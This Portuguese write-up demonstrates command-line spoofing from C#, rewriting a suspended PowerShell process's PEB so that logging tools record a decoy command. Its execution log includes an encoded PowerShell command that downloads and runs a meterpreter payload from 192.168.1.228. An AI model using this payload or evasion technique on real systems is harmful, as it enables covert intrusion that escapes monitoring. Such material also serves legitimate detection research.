
Como falsificar a linha de comando ao gerar um novo processo a partir de C#.
Um exemplo de uso de C# para injetar uma shell meterpreter enquanto falsifica a linha de comando. A linha de comando é armazenada no Bloco de Ambiente do Processo (PEB), é registrada quando um novo processo é iniciado e é exibida em ferramentas como Process Hacker e Gerenciador de Tarefas.
Este código é baseado no blog How to Argue like Cobalt Strike de Adam Chester/XPN, que explica como o cobalt strike falsifica a linha de comando de um processo ao injetar um beacon.
Usei isso como base para criar uma versão em C# que gera um processo do PowerShell e injeta uma shell reversa meterpreter. É verdade que não há necessidade de um binário .Net para isso, mas demonstra como os comandos podem ser falsificados.
Um novo processo é iniciado em estado suspenso com um argumento de linha de comando falsificado.
O comando falsificado é registrado, mas somos capazes de alterar a linha de comando no PEB do processo. Quando a thread principal é retomada, o processo usa a nova linha de comando no PEB.
A execução do código é mostrada abaixo:
[+] Spoofing command: powershell.exe nothing to see here! :-P
[+] Process spawned, PID: 8588
[+] PEB Address: 0x2B2366F000
[+] ProcessParameters Address: 0x1EF61560000
[+] CommandLine Address: 0x1EF615606BC
[+] Original CommandLine: powershell.exe nothing to see here! :-P
[+] New CommandLine: powershell.exe -exec bypass -enc WwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACgASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAAIgBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4AMgAyADgALwBwAC4AZQB4AGUAIgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAKQAuAEUAbgB0AHIAeQBQAG8AaQBuAHQALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAKAAsACAAWwBzAHQAcgBpAG4AZwBbAF0AXQAgACgAJwAxADkAMgAuADEANgA4AC4AMQAuADIAMgA4ACcALAAgAFsAcwB0AHIAaQBuAGcAXQAgACQAUABJAEQALAAgACcAMQAwACcAKQApACkAOwB3AGgAaQBsAGUAIAAoACQAdAByAHUAZQApAHsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQAwADAAMAB9AA== , written to process
[+] Resuming process
Este exemplo injeta uma shell reversa meterpreter usando PowerShell, mas é registrada com um argumento de linha de comando falsificado.
O Sysmon registra a linha de comando original (falsificada):

O Process Hacker não revela o comando executado:
